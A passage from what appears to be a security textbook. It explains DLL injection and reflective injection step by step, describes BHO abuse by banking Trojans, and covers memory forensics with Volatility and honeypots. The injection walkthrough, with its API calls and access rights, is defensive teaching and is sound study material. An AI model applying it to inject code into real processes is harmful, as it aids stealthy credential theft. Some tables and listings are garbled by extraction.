2. Allocate Memory for DLL Path
3. Write DLL Path
3
2
4. Create Remote Thread to
Load Library
1
Targeted Process
Virtual Memory
4
c:\bad.dll
Thread
LoadLibraryA(...)
Exhibit 4-32â•… The dynamic link library (DLL) injection process.
the process, and, finally, creating a remote thread to load the DLL in
the process.
DLL-injecting malicious code begins by opening the targeted process. By opening the targeted process, the malicious code can interact with the process and run further commands. A rogue application
opens a process using the OpenProcess Windows API function, which
returns an open handle to the process back to the calling application.
The malicious code uses this handle in further function calls as it is a
pointer to the targeted process.
When obtaining the process’ handle, the OpenProcess function
also includes a desired access parameter. The desired access parameter
contains the access rights that the calling process needs in the targeted
process. The OpenProcess function needs to obtain PROCESS_
CREATE_THREAD, PROCESS_QUERY_INFORMATION,
PROCESS_VM_OPERATION, PROCESS_VM_WRITE, and
PROCESS_VM_READ access rights to successfully carry out subsequent functions within the process.
Windows grants access rights after checking the malicious code
process’ token for adequate privileges and generates a handle to the
process with the desired access rights. If the user running the malicious code has the SeDebugPrivilege enabled on his or her token, the
OpenProcess function grants access and requested rights to the user
without checking the security descriptor. Obtaining the appropriate
access rights is important in the following steps, as the subsequent
interaction with the target process requires particular permissions.
Inadequate permissions will cause the entire DLL injection process
to fail.
The next step in this technique allocates memory in the targeted
process to store the path to the DLL. This allows the injecting application to provide the targeted process with the path on disk to the
DLL. To allocate memory in the targeted process, the injecting process uses the VirtualAllocEx Windows API function with a specified size large enough to contain the DLL’s path. The VirtualAllocEx
function requires the PROCESS_VM_OPERATION permission
obtained during the initial OpenProcess function.
Once the injecting process allocates memory in the targeted process, it writes the DLL’s path on disk to the memory location. The
injecting process uses the WriteProcessMemory Windows API
25 8
function and the memory location returned by the VirtualAllocEx
function to write the path to the DLL. To successfully write to the
memory location, the WriteProcessMemory function requires the
PAGE_READWRITE access right set during memory allocation.
Finally, after writing the DLL path to the targeted process’ memory,
the injecting process initiates the DLL loading sequence. Conveniently,
Windows provides an API function called LoadLibrary to load a DLL
into the current process. To initiate the injection, the injecting process
must call the LoadLibrary function remotely. The injecting process uses
the CreateRemoteThread Windows API function to create a thread in
the targeted process. The remote thread running the load library function results in a successful DLL injection. The CreateRemoteThread
function requires the PROCESS_CREATE_THREAD, PROCESS_
QUERY_INFORMATION,
PROCESS_VM_OPERATION,
PROCESS_VM_WRITE, and PROCESS_VM_READ access
rights to work reliably on all versions of Windows.
4.3.3.3â•‡ Reflective DLL Injectionsâ•… Applications that inject DLLs into
processes call the LoadLibrary function, with the exception of the
registry modifications discussed, because it simplifies loading libraries into a process; however, this function adds the name of the DLL
to a list of loaded modules in the process environment block. The
process environment block is a data structure that every running
process has that contains user mode information associated with the
process. This structure includes a list of loaded libraries, which can
unearth injected DLLs.
Malicious code authors intent on hiding injected DLLs avoid listing the library in the process environment block by using alternative
means to load the library. An alternative process, known as reflective DLL injection, uses reflective programming to load a DLL from
memory into a process without using the LoadLibrary function. This
technique injects a DLL in a stealthy manner, as it does not have any
ties to the process and omits the DLL from the loaded library list.
Exhibit 4-33 compares using the LoadLibrary function to the reflective DLL injection process.
Reflective DLL injection incorporates a loading function that runs
within the targeted process to mimic the LoadLibrary function. This
loading function is a manual DLL loader that starts by allocating
Ma li c i o us C o d e Load Library Steps
Reflective Injection Steps
Process
Load Library
259
Process
Allocate Memory
Reflective Loader
Allocate Memory
Move DLL into
Memory
Move DLL into
Memory
Fill DLL’s Import
Table
Fill DLL’s Import
Table
Add Loaded
Module to DLL
List in PEB
Exhibit 4-33â•… LoadLibrary versus reflective injection.
memory in the process, followed by mapping the DLL code into the
allocated memory. The loader then parses the process’ import address
table (IAT), which contains all functions from imported libraries to
populate the injected DLL’s IAT. The loading function also populates
the DLL’s relocation table to make sure all of the memory addresses
used within the DLL’s code are correct. Finally, the loading function
creates a thread for the DLL’s entry point to start execution.
In reflective injection, the reflective loader does not register the
loaded DLL within the process’ list of loaded modules. Exhibit 4-33
shows that the reflective injection steps do not include adding the DLL
to the loaded module list, which results in a concealed injection.
4.3.3.4â•‡ Conclusionâ•… DLL injection is dangerous due to the effect it
has on a system’s security. Successful injections allow malicious code
to steal data from the process. For example, a banking Trojan could
inject a DLL with form-grabbing capabilities into the Web browser
to steal logon credentials.
All malevolent tasks carried out by the injected DLL use the guise
of the injected process. By masquerading as a legitimate process, the
2 6 0
malicious DLL can successfully bypass application-based firewalls.
The guise of a legitimate application makes detection difficult and
requires tools that are more sophisticated. These tools require functionality to view DLLs loaded into a process by LoadLibrary or provide the ability to analyze the virtual memory of a process to view
DLLs loaded by reflective DLL injection.
To minimize the chances of successful DLL injection, administrators should assign the least privileges necessary to users’ accounts.
The minimal privileges will reduce the ability to write registry entries
and save DLLs to the system directory. An account with minimal
privileges will not have the appropriate permissions within its token
to open a remote process for injection; however, this does not thwart
injection into processes using SeDebugPrivilege permission or any
other injection attempts made after successful privilege escalation.
4.3.4â•‡ Browser Helper Objects
Browser helper objects (BHOs) are enormously useful, with most PCs
having at least one installed; however, what was intended simply to
extend the functionality of Microsoft’s Internet Explorer also increases
the potential attack surface and has become a popular exploitation
vector. This section explains what BHOs are and how attackers use
them to their advantage.
In the late 1990s, the popularity of the World Wide Web was taking off and Microsoft Corporation decided to provide an alternate programming interface (API) to allow developers to extend their popular
Internet Explorer (version 4.0 at the time) browser. Its solution was the
BHO, which is a normal Windows binary in the form of a DLL file
capable of adding completely new functionality to Internet Explorer.
In this section we explain how BHOs work and the impact they have
had on the security posture of Windows and Internet Explorer.
Internet Explorer is currently the most widely used Web browser in
the world. During the past ten years, BHOs have become a very popular way for Microsoft and third parties to add new functionality to
the core browser. Some of the earliest and most prevalent BHOs are
search tool bars that add an area containing search boxes and other
features below the browser address bar. These programs are commonly
associated with adware and spyware because their producers make
Exhibit 4-34â•… The Alexa toolbar adds an additional toolbar to Internet Explorer.
Exhibit 4-35â•… A PDF file displayed by an Adobe browser helper object (BHO) inside Internet Explorer.
money by collecting information about the users’ browsing habits and
displaying advertisements to the user. Exhibit 4-34 shows how the
Alexa Toolbar appears when loaded in Internet Explorer.
BHOs are also commonly used to give Internet Explorer the capability to deal with file formats not normally displayed in a browser,
such as PDFs. The Adobe Reader BHO is installed alongside the
Adobe application to allow the browser to display a PDF inside the
browser window rather than in a separate application. Exhibit 4-35
shows an example of a PDF document displayed by the Adobe Reader
BHO inside Internet Explorer.
4.3.4.1â•‡ Security Implicationsâ•… BHOs provide new functionality to
Internet Explorer, but as with any new functionality, they also provide new avenues for attackers to manipulate systems. During the
past five years, the Web browser has become a common conduit
for malicious code. Attackers can exploit a browser vulnerability to
2 6 2
infect unknowing visitors to a page. BHOs process code alongside
the browser, possibly introducing new vulnerabilities and increasing
the browser’s attack surface. For instance, a vulnerability in Adobe
Reader can be exploited through Internet Explorer if the Adobe BHO
is installed. Microsoft can fix vulnerabilities in its code once they are
discovered and use its automated update system to protect users, but
the software vendor who produced the BHOs must update them.
Attackers not only take advantage of BHOs by exploiting vulnerabilities in them, but also develop their own BHOs to add malicious functionality to Internet Explorer. The Nethell/Limbo and
Metafisher/AgentDQ banking Trojans install BHOs that analyze
each page the user visits to determine if it is one of those in its target
list of online banking sites. Once it detects a targeted banking site,
the Trojan can steal data from the page or even alter the page. Exhibit
4-36 shows how the Nethell/Limbo Trojan alters a logon form to
request additional information from the infected user.
Detecting BHOs is simple, as Internet Explorer provides an interface to list all add-ons currently used by the browser. To access this
list in Internet Explorer 6, choose Manage Add-ons from the Tools
â•…â•…
Exhibit 4-36â•… A Trojan BHO modifies the normal logon (left) to include additional fields (right).
Exhibit 4-37â•… A manage add-ons dialog showing currently loaded add-ons.
menu; in Internet Explorer 7, choose Manage Add-ons from the Tools
menu and then select Enable or Disable Add-ons.
The add-ons list shows all BHOs and their cousins (ActiveX
Controls and Toolbars) currently used by Internet Explorer. From this
dialog, users can also disable specific controls. Exhibit 4-37 shows the
Manage Add-ons interface with a list of plug-ins installed.
The dialog shows the name of the add-on, publisher, type, and
name of the file loaded in the browser. If the code is signed by a developer but not trusted by the system’s code-signing certificate chain, the
label (not verified) will appear next to the publisher’s name. In Exhibit
4-37, the add-on highlighted at the top of the screen is the Adobe
Reader BHO, a legitimate BHO signed by Adobe Systems, Inc. The
add-on highlighted in the middle of the screen is the BHO installed
by the Nethell/Limbo Trojan. Some legitimate BHOs may also not
be signed with a trusted key and will also display the (not verified)
label, as is the case with the Alexa Toolbar BHO files.
BHOs allow developers to extend Internet Explorer and provide
new functionality that benefits users, but this flexibility comes at a
cost. The increased attack surface can leave “fully patched” Windows
systems vulnerable if every BHO has not also been updated to the latest version. BHOs also provide an easy way for attackers to manipulate
2 6 4
the browser to steal data from unsuspecting users. Administrators
should know every BHO installed on the systems they manage to
ensure that each of them is included in patching cycles and that no
malicious BHOs have been installed.
References
1. Eugene Spafford, “The Internet Worm Program: An Analysis,” Purdue
University, December 8, 1988, http://spaf.cerias.purdue.edu/techreps/823.pdf.
2. Robert Lemos, “In Less than Six Hours Thursday, Love Spread
Worldwide,” ZDNet, May 5, 2000, http://news.zdnet.com/21009595_22-107344.html.
3. Joris Evers, “Microsoft Pulls WindowsUpdate.com to Avert Blaster,”
ComputerWorld, August 15, 2009, http://www.computerworld.com/s/
article/84077/Microsoft_pulls_WindowsUpdate.com_to_avert_Blaster.
4. Noah Schachtman, “Under Worm Assault, Military Bans Disks,
USB Drives,” Wired, November 19, 2008, http://www.wired.com/
dangerroom/2008/11/army-bans-usb-d/.
5. Microsoft, “Update to the AutoPlay Functionality in Windows,” August
25, 2009, http://support.microsoft.com/kb/971029.
6. Fortinet, “Fortinet Investigates a New SMS Mobile Worm: Yxes.A,”
February 18, 2009, http://www.fortiguard.com/advisory/FGA-2009-07.
html.
7. iDefense, “Out of the Lab: Reverse Engineering Koobface,” ID# 531201,
October 14, 2009.
8. iDefense, “Conficker/Downadup Worm Summary,” ID# 484574, March
20, 2009.
9. F-Secure, “Virus: Boot/Brain,” 2009, http://www.f-secure.com/v-descs/
brain.shtml.
10. Rott_En, “Virus Payloads: History and Payload Mentality,” New Order,
December 30, 2004, http://neworder.box.sk/newsread.php?newsid=12531.
11. Spam Laws, “Understanding the Resident Virus,” 2009, http://www.
spamlaws.com/resident-virus.html.
12. Piotr Krysiuk, “W32.Xpaj.B: An Upper Crust File Infector,” Symantec,
September 30, 2009, http://www.symantec.com/connect/blogs/
w32xpajb-upper-crust-file-infector.
13. iDefense, “State of the Hack: iDefense Explains … Symmetric
Encryption,” ID# 487598, June 29, 2009.
14. Panda Security, “Xor-encoded.A,” Panda Security Encyclopedia, June 2,
2009, http://www.pandasecurity.com/enterprise/security-info/194318/
Xor-encoded.A/.
15. Péter Ször and Peter Ferrie, “Hunting for Metamorphic,” Symantec,
October 27, 2009, http://www.symantec.com/avcenter/reference/hunting.for.metamorphic.pdf.
16. Nicolas Brulez, “Parasitic Infector Analysis II: What Changed?” Websense
Security Lab Blog, February 29, 2009, http://securitylabs.websense.com/
content/Blogs/3300.aspx.
17. Zend, “Zend Guard: Protect Your Application with PHP Encoder,”
2009, http://www.zend.com/en/products/guard/.
18. Jeek.org, “Jsunpack: A Generic JavaScript Unpacker,” n.d., http://jsunpack.jeek.org/dec/go.
19. iDefense, “State of the Hack: iDefense Explains … Obfuscation,” iDefense Weekly Threat Report, ID# 486145, May 18, 2009.
20. VMProtect Software, “What Is VMProtect?” 2006–2010, http://vmprotect.ru.
21. iDefense, Malicious Code Summary Report, ID# 472002, August 27,
2008.
22. Joanna Rutkowska, “Introducing Blue Pill,” Invisible Things Lab’s Blog,
June 22, 2006, http://theinvisiblethings.blogspot.com/2006/06/introducing-blue-pill.html.
23. Gladiator Security Forum,“A Collection of Autostart Locations,”March 28,
2005, http://gladiator-antivirus.com/forum/index.php?showtopic=24610.
24. GMER, “Start,” 2004–2010, http://www.gmer.net/index.php.
25. Mark Russinovich and Bryce Cogswell, “Autoruns for Windows v10.01,”
Windows Systernals, June 15, 2010, http://technet.microsoft.com/en-us/
sysinternals/bb963902.aspx.
26. Trend Micro, “HijackThis: Version 2.0.4,” 1989–2010, http://www.trendsecure.com/portal/en-US/tools/security_tools/hijackthis.
27. Greg Hoglund and James Butler, Rootkits: Subverting the Windows Kernel
(Reading, Mass.: Addison-Wesley, 2005).
28. iDefense, “State of the Hack: Persistent Software Techniques,” iDefense
Weekly Threat Report, ID# 483561, February 23, 2009.
29. iDefense, “State of the Hack: iDefense Explains ... Form Grabbing,” iDefense Weekly Threat Report, ID# 485156, April 13, 2009.
30. iDefense, “State of the Hack: iDefense Explains … Click Fraud,” iDefense Weekly Threat Report, ID# 522507, September 28, 2009.
31. iDefense, Malicious Code Summary Report, ID# 479408, December 24,
2008.
32. securiteam, http://www.securiteam.com/exploits/60ooc1PMUE.ht.
33. Bojan Zdrnja, “When Web Application Security, Microsoft and the AV
Vendors All Fail,” Internet Storm Center, March 13, 2009, http://isc.
sans.org/diary.html?storyid=6010.
34. Tobias Klein, “TrapKit,” 2000–2010, http://www.trapkit.de.
35. Code Project, “Detect if Your Program Is Running inside a Virtual
Machine,” April 4, 2005, http://www.codeproject.com/KB/system/
VmDetect.aspx.
36. eEye Digital Security, “Another VMWare Detection,” Research Blog,
September 19, 2006, http://eeyeresearch.typepad.com/blog/2006/09/
another_vmware_.html.
37. For more information on BHOs, refer to iDefense, “State of the Hack,”
iDefense Weekly Threat Report, ID# 484802, March 2, 2009.
2 6 6
38. For more information on how to create IDS signatures for these Trojans,
refer to the iDefense Topical Research Report: Tracking and Detecting
Trojan Command and Control Servers. (ID# 472109).
39. Paul Oliveria, “Targeted Attack in Mexico: DNS Poisoning via Modems,”
Trend Micro, January 11, 2008, http://blog.trendmicro.com/targetedattack-in-mexico-dns-poisoning-via-modems/.
40. iDefense, “State of the Hack: iDefense Explains … Browser Helper
Objects,” iDefense Weekly Threat Report, ID# 484040, March 2, 2009.
5
Defense
and
Analysis
Techniques
5.1â•‡ Memory Forensics
Memory forensics refers to finding and extracting forensic artifacts
from a computer’s physical memory. This section explains the importance and capabilities of memory forensics and the tools used to support incident response and malware analysis.
While a system is on, random access memory (RAM) contains
critical information about the current state of the system. By capturing an entire copy of RAM and analyzing it on a separate computer,
it is possible to reconstruct the state of the original system, including
the applications the user was running and the files or network connections that existed at the time. The concept of preserving RAM
per the “order of volatility”1 and inspecting it for signs of an intrusion
is certainly not new; however, before the recent explosion of groundbreaking research and expandable analysis frameworks, many investigators relied on running the strings command on a memory dump
to gather postmortem intelligence about an attack. Fortunately, times
have changed, and memory analysis is not only a critical component
in any forensic investigation, but also one of the most effective methods for malware reverse-engineering tasks such as unpacking and
rootkit detection.
5.1.1â•‡ Why Memory Forensics Is Important
Analysts who bring memory forensics skills to an investigation are
better equipped to handle malware incidents than analysts who do
not have such skills. Here are a few reasons why:
• Attackers design some malware to run completely from RAM
(i.e., memory resident codes) to avoid touching longer term
267
2 6 8
storage devices such as the hard drive. Therefore, if analysts
do not look for signs of intrusions in RAM, they might miss
the most important, or perhaps the only, evidence that malware existed on the system.
• Attackers design some malware to hide its own code and the
resources that it requires from the operating system using
application program interface (API) hooks; however, these
rootkit techniques typically only work against other processes
on the infected computer while the system is running. Hiding
from offline memory forensics tools requires a different set of
capabilities that most malware authors have not implemented
into their code.
• Similar to what Isaac Newton theorized about the real world,
every action on a computer has a reaction. Even if attackers were
able to study the Windows operating system (OS) well enough
to anticipate the side effects of every API call, they would not
be able to prevent or hide each side effect continuously and
perpetually. If investigators become familiar with these side
effects, they can use the information as clues when determining what might have happened on the suspect system.
5.1.2â•‡ Capabilities of Memory Forensics
Analysts can gather an extreme amount of information about the state
of a system by using memory forensics. Table 5-1 shows a few of the
default capabilities of a memory analysis framework and the corresponding tools that one might use on a live system to gather the same
type of evidence.
Based on the information in Table 5-1, memory forensics frameworks can produce the same information that 10–20 standard tools
that analysts frequently use on live systems can, but with the added
benefit of being able to bypass rootkit tricks.
5.1.3â•‡ Memory Analysis Frameworks
In terms of memory analysis frameworks, there are a few options
from which to choose. The most important factors are cost, the programming language for developing plug-ins for the frameworks, the
D ef ense a n d A n a lysis T e c hni q ue s 269
Table 5-1â•… Default Capabilities and Corresponding Tools
CAPABILITY
LIVE SYSTEM TOOLS
Determine which processes and threads were active at the time
an analyst obtained the memory dump, including the process
ID, thread ID, and process start and end times.
Enumerate the dynamic link libraries (DLLs) loaded in any
process, including their base address in virtual memory, the size
of the DLL, and the full path to the DLL on disk.
Determine which ports and protocols are in use, the local and
remote Internet Protocol (IP) endpoints, and the process
identifier (PID) of the process responsible for creating the
connection or socket.
Determine which kernel modules are loaded, including their
base addresses, sizes, and names.
Dump malicious process executables, DLLs, kernel drivers, and
any nonpaged memory ranges in user mode or kernel mode
memory for further inspection.
Print the addresses and sizes of all allocated memory regions in
a process, including the page permissions and whether the
region contains a memory-mapped file.
Determine which files and registry keys were open in a process
at the time of the memory dump.
Process Explorer, Task Manager
Process Explorer, listdlls.exe
Fport, ActivePorts, TcpView,
Netstat
GMER, IceSword, WinDBG
LordPE, Procdump, Debugger
plug-ins
Vmmap, OllyDbg
Process Explorer, handles.exe
operating systems on which the frameworks run, and the reliability of
the frameworks’ output. See Table 5-2.
Because Volatility is free, is written in Python, and runs on multiple operating systems, it is the favorite framework of many iDefense
engineers. Knowing how tools work, rather than just knowing how to
use the tools, is a requirement to analyzing and understanding today’s
sophisticated malware. Volatility is open-source Python, so learning
how Volatility harvests information is simple. In fact, one of the ways
that iDefense engineers learned a lot about the technical aspects of
memory analysis, including the format of kernel structures and how
Table 5-2â•… Memory Analysis Framework Factors
NAME
Volatilitya
HBGary Responderb
Mandiant Memoryzec
COST
PLUG-IN LANGUAGE
ANALYSIS OS
Free and open source
$1,500–9,000
Free and closed source
Python
C#
XML and proprietary
Windows, Linux, and OSX
Windows only
Windows only
Source: a: Volatile Systems, “Volatility Website,” 2006–2008, https://www.volatilesystems.com/
default/volatility. b: HBGary, “HBGary Responder Tool,” 2009, https://www.hbgary.com/
products-services/responder-prof/; and c: Mandiant, “Free Software: Memoryze,” 2010,
http://www.mandiant.com/software/memoryze.htm.
2 70
to parse them, was by learning from Volatility’s programmers by looking through the source code.
5.1.4â•‡ Dumping Physical Memory
To dump physical memory, iDefense recommends using win32dd2 by
Matthieu Suiche. The tool supports memory acquisition from a wide
variety of OS versions, including Windows 2000, XP, 2003, Vista, 2008,
7, and 2008 RC2. Suiche recently provided an update that includes the
capability to compute cryptographic checksums (MD5, SHA-1, or SHA256) and client or server architecture so that an analyst can transmit the
memory dump across the network easily. To get started, download a
copy of win32dd from the tool’s home page and extract the archive. To
dump the full physical address space, save the output file to mem.dmp
in the same path as win32dd and create a Secure Hash Algorithm 1
(SHA-1) hash of the dumped file; use the following syntax:
F:\>win32dd.exe /f mem.dmp /s 1
5.1.5â•‡ Installing and Using Volatility
To begin using Volatility, download the package from its home page
on the Volatile Systems3 website or grab a copy of the latest Subversion
package4 hosted at Google code. The Volatility Documentation
Project5 by Jamie Levy (a.k.a. gleeda) and a few anonymous authors
contains some great manuals for installing Volatility on Windows,
Linux, and OSX. In most cases, to get started, the only requirement
is to extract the archive and invoke the “volatility” script with Python,
as shown in the following command sequence:
$ tar -xvf Volatility-1.3.tar.gz
$ cd Volatility-1.3
$ python volatility
Volatile Systems Volatility Framework v1.3
Copyright (C) 2007,2008 Volatile Systems
Copyright (C) 2007 Komoku, Inc.
This is free software; see the source for
copying conditions.
There is NO warranty; not even for
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
D ef ense a n d A n a lysis T e c hni q ue s 2 71
usage: volatility cmd [cmd_opts]
Run command cmd with options cmd_opts
For help on a specific command, run ‘volatility
cmd --help’
Supported Internel Commands:
connections Print list of open connections
connscan Scan for connection objects
connscan2 Scan for connection objects
(New)
datetime Get date/time information for
image
dlllist Print list of loaded dlls for
each process
dmp2raw Convert a crash dump to a raw
dump
dmpchk Dump crash dump information
files Print list of open files for
each process
hibinfo Convert hibernation file to
linear raw image
ident Identify image properties
memdmp Dump the addressable memory for
a process
memmap Print the memory map
modscan Scan for modules
modscan2 Scan for module objects (New)
modules Print list of loaded modules
procdump Dump a process to an executable
sample
pslist Print list of running processes
psscan Scan for EPROCESS objects
psscan2 Scan for process objects (New)
raw2dmp Convert a raw dump to a crash
dump
regobjkeys Print list of open regkeys for
each process
sockets Print list of open sockets
sockscan Scan for socket objects
sockscan2 Scan for socket objects (New)
strings Match physical offsets to virtual
addresses (may take a while, VERY
verbose)
thrdscan Scan for ETHREAD objects
2 72
thrdscan2 vaddump vadinfo vadwalk Scan
Dump
Dump
Walk
for
the
the
the
thread objects (New)
Vad sections to files
VAD info
vad tree
All of the commands shown in the output are available by default.
Analysts can learn any required arguments for individual commands
by issuing “python volatility <command> --help”; however, many of
the commands work without arguments. The full syntax for extracting evidence from the memory dump created with Volatility follows:
$ python volatility <command> <arguments> -f mem.dmp
5.1.6â•‡ Finding Hidden Processes
The Windows kernel creates an EPROCESS object for every process
on the system. The object contains a pair of pointers, which identifies
the previous and subsequent processes. Together, this creates a chain
of process objects also called a doubly linked list. To visualize a doubly
linked list, think of a group of people who join hands until the group
is standing in a big circle. By joining hands, each person connects to
exactly two other people. To count the number of people in the group,
one could pick a person to start with and then walk in either direction
along the outside of the circle and count the number of heads until
ending back at the starting point. Tools like Process Explorer, Task
Manager, and many other system administration programs use API
functions that enumerate processes by walking the linked list using
this same methodology.
Enumerating processes in memory dumps is different because
the system is offline and therefore API functions do not work. To
find the EPROCESS objects, Volatility locates a symbol named _
PsActiveProcessHead, defined in ntoskrnl.exe. Although the symbol is not exported, it is accessible from the _KPCR structure, which
exists at a hard-coded address in memory, as described in “Finding
Some Non-Exported Kernel Variables in Windows XP”6 by Edgar
Barbosa. This _PsActiveProcessHead symbol is a global variable
that points to the beginning of the doubly linked list of EPROCESS
objects. Exhibit 5-1 shows the path that Volatility takes to find the
desired data in a memory dump.
KPCP (0×FFDFF000)
KdVersionBlock
DebuggerDataList
PsActiveProcessHead
EPROCESS Structures
Flink
Flink
Flink
Blink
Blink
Blink
Exhibit 5-1â•… The path used by Volatility to locate the EPROCESS object list.
To use Volatility to generate a process listing by walking the linked
list of processes, use the following syntax:
$ python volatility pslist –f mem.dmp
Name
Pid PPid ThdsHnds Time
System
4
0
54 232 Thu Jan
smss.exe
368 4
3
21 Tue Dec
csrss.exe
516 368 10 324 Tue Dec
winlogon.exe
540 368 18 505 Tue Dec
services.exe
652 540 16 252 Tue Dec
lsass.exe
664 540 21 326 Tue Dec
VBoxService.exe816 652 4
76 Tue Dec
svchost.exe
828 652 19 196 Tue Dec
svchost.exe
908 652 10 225 Tue Dec
svchost.exe
1004 652 67 1085 Tue Dec
svchost.exe
1064 652 5
57 Tue Dec
svchost.exe
1120 652 15 205 Tue Dec
01
01
01
01
01
01
01
01
01
01
01
01
00:00:00
15:58:54
15:58:55
15:58:55
15:58:55
15:58:55
15:58:55
15:58:55
15:58:55
15:58:55
15:58:55
15:58:56
1970
2009
2009
2009
2009
2009
2009
2009
2009
2009
2009
2009
2 74 Cy ber Se curit y E s sen tia l sï»¿
spoolsv.exe
explorer.exe
VBoxTray.exe
alg.exe
wscntfy.exe
cmd.exe
1528 652 12
1572 1496 10
1644 1572 7
780 652 6
696 1004 1
984 1572 1
111
284
39
104
27
31
Tue
Tue
Tue
Tue
Tue
Tue
win32dd.exe
996 984 1
21
Tue Dec 01 16:05:42 2009
Dec
Dec
Dec
Dec
Dec
Dec
01
01
01
01
01
01
15:58:56
15:58:56
15:58:57
15:59:07
15:59:09
16:05:26
2009
2009
2009
2009
2009
2009
After understanding how the pslist command works, it is possible to
evaluate why it might not always be reliable. One reason is due to rootkits that perform direct kernel object manipulation (DKOM). In the
book Rootkits: Subverting the Windows Kernel, Greg Hoglund and James
Bulter show how to hide processes by unlinking entries from the doubly
linked list. The authors overwrite the forward link (Flink) and backward
link (Blink) pointers of surrounding objects so that they point around
the EPROCESS object that represents the process to hide. As shown
in Exhibit 5-2, the overwriting effectively hides a process from any tool
that relies on walking the linked list, regardless of if the tool runs on
a live system or a memory dump. Since central processing unit (CPU)
scheduling is thread based, the hidden process remains running on the
operating system even when rootkits unlink the EPROCESS objects.
Consider the previous analogy of people joining hands and forming
a circle to depict the doubly linked list depicted in Exhibit 5-1. If one
person releases both hands to step outside the circle (see Exhibit 5-2),
the people on the left and right will join hands and close the gap. The
Flink
Flink
Blink
Blink
Flink
Blink
Exhibit 5-2â•… An EPROCESS object removed from a doubly linked list.
disconnected person does not disappear; instead, he or she is now free
to walk about the room. Counting people using the original method
will result in one fewer person; however, by changing techniques and
scanning the entire room using a thermal imaging device, the results
would be accurate, even if one or more people were no longer standing
in the circle.
The Volatility command psscan2 is not exactly a thermal imaging
device, but it works similarly in theory. Instead of walking the linked
list of EPROCESS objects like pslist, psscan2 scans linear memory
for pools with the same attributes (paged versus nonpaged, tag, and
size) that the kernel uses for EPROCESS objects, and then applies a
series of sanity checks. This way, psscan2 is able to find EPROCESS
objects in memory even if a rootkit has unlinked it from the list. The
same concept applies to finding hidden kernel drivers, sockets, connections, services, and various other kernel objects.
5.1.7â•‡ Volatility Analyst Pack
Volatility Analyst Pack (VAP)7 is a collection of plug-ins designed for
malware analysis and rootkit detection. Table 5-3 describes the purpose of the plug-ins and their statuses. If the status is “Public,” then
the plug-in is publicly available. If the status is “By request,” then the
plug-in is currently only available to iDefense customers upon request
(BETA mode).
5.1.8â•‡ Conclusion
Memory forensics is a rapidly growing aspect of incident response and
malware analysis. Its powerful default capabilities can replace 10–20 live
system tools, not to mention the features provided by third-party plugins such as VAP. Although there are several options, iDefense recommends the free, open-source Volatility framework, which also provides
an analyst with the opportunity to learn about the operating system.
5.2â•‡ Honeypots
Creating an asset to attract malicious activity for monitoring and early
warning is a well-established activity. Not only do honeypots, isolated
2 76
Table 5-3â•… Plug-In Statuses and Descriptions
NAME
STATUS
apihooks
Public
callbackscan
By request
csrss_pslist
By request
debugged
By request
desktopobjscan
By request
driverirp
Public
idt
impscan
Public
By request
ldr_modules
malfind2
notify_routines
Public
Public
By request
orphan_threads
svcscan
Public
By request
windowstations
By request
DESCRIPTION
Detects Import Address Table (IAT), Export Address Table (EAT),
and inline API hooks in user mode processes and kernel drivers.
Scans for callback objects; this can expose rootkits that register
system-wide notification routines (see notify_routines below).
Detects hidden processes with csrss.exe handles and
CsrRootProcess links.
Detects debugged processes; this can expose attempts for
malware to perform self-debugging, which is a common
antidebugging trick.
Links desktop objects with Window stations and owning
processes; this technique can expose malware that uses
hidden windows.
Detects attempts to hook drivers by printing input–output
request packet (IRP) function addresses.
Detects attempts to hook the interrupt descriptor table (IDT)
Scans unpacked user mode processes and kernel drivers for
imported API functions; this can help rebuild dumped code for
static analysis.
Detects unlinked (hidden) DLLs in user mode processes.
Detects hidden and injected code.
Detects thread, process, and image load notify routines—a
technique used by rootkits such as Mebroot, FFsearcher,
Blackenergy, and Rustock.
Detects hidden kernel threads and carves out the rootkit code.
Detects hidden services by scanning for SERVICE_RECORD
structures.
Scans for Window station objects that can expose rogue terminal
services and Remote Desktop Protocol (RDP) sessions.
technical assets configured with a high level of logging, provide valuable attack data for analysis, but security analysts also periodically use
them as decoys that deliberately contain known vulnerabilities. When
deployed as a distinct network, known as a honeynet, a firewall is
specially configured to collect and contain network traffic. The placement and configuration of a honeypot largely determine its success,
and because malicious activity is likely to occur, it is crucial that it be
isolated from true IT assets and legitimate traffic.
Network and information security relies on in-depth defenses to
limit unauthorized access and dissemination of sensitive information. These in-depth defenses provide a hardened posture but give no
insight on vulnerabilities and other weaknesses exploited by attackers
in the wild. This lack of visibility requires a reactive approach to a
security incident, which is a norm within the IT security field as a
whole. An ideal approach involves proactive measures using knowledge and information of upcoming vulnerabilities, malicious code,
and attackers to build up defenses prior to an incident. One method of
obtaining the necessary data to create safeguards requires sacrificing a
specially configured system, known as a honeypot, to lure in malicious
activity for analysis.
A honeypot is an information system resource whose value lies in
unauthorized or illicit use of that resource.8 A honeypot is a concept that
capitalizes on the isolation of a resource and subsequent activity that
interacts with the resource. Designed to resemble an interesting target
to attack, probe, exploit, or compromise and configure with a high level
of logging, honeypots attract attackers and malicious code to capture
their activity for analysis. Honeypots thrive in isolated environments
because they have no production value or business purpose and all activity observed is suspicious. Placement of these resources is important to
minimize the amount of legitimate or unintentional traffic.
Honeypots are beneficial if properly deployed and maintained. The
fact that honeypots resemble an easy target may act as a decoy to keep
attackers from attacking production systems. Honeypots also provide
data and insight on who attacks those honeypots and on attack strategies used during exploitation. If properly handled and left untainted
while gathering, these data can provide evidence in an incident investigation in the form of digital fingerprints. Another benefit results in
the building of safeguards in production security defenses to minimize the threat of attacks and targets based on the information gathered from the honeypot.
Honeypots fit into two different classifications based on the level
of system interaction available to the attacker. Low-interaction honeypots emulate vulnerable services and applications to entice inbound
exploit attempts from attackers. Emulation occurs by mimicking
real network responses to inbound connections allowing an attack to
progress to completion. The attacks do not compromise the honeypot because the honeypot itself is not vulnerable; rather, it follows
along by emulating vulnerabilities. Logs of the activity capture the
exploit attempt, and postattack analysis provides information to protect other production devices from falling victim to the attack. The
2 78
second type of honeypots, known as high-interaction honeypots, utilize
actual services and vulnerabilities to attract inbound attacks. The use
of real services provides detailed information on the steps involved in
exploitation and the postcompromise activity. This type of honeypot
requires close and constant observation because the system is likely
to fall victim to compromise. High-interaction honeypots also need
extra security measures to contain subsequent attacks or malicious
code propagation.
The two types of honeypots have strengths and weaknesses that
need consideration before deployment. Emulation keeps the lowinteraction honeypots relatively safe from compromise and lowers the
amount of effort required for maintenance. Low-interaction honeypots
have limited data logged, reducing analysis time; however, emulation
requires prerequisite knowledge of vulnerabilities and cannot capture
attacks on unknown vulnerabilities. A drawback to a lack of compromise is a limited amount of data available after an attack is attempted.
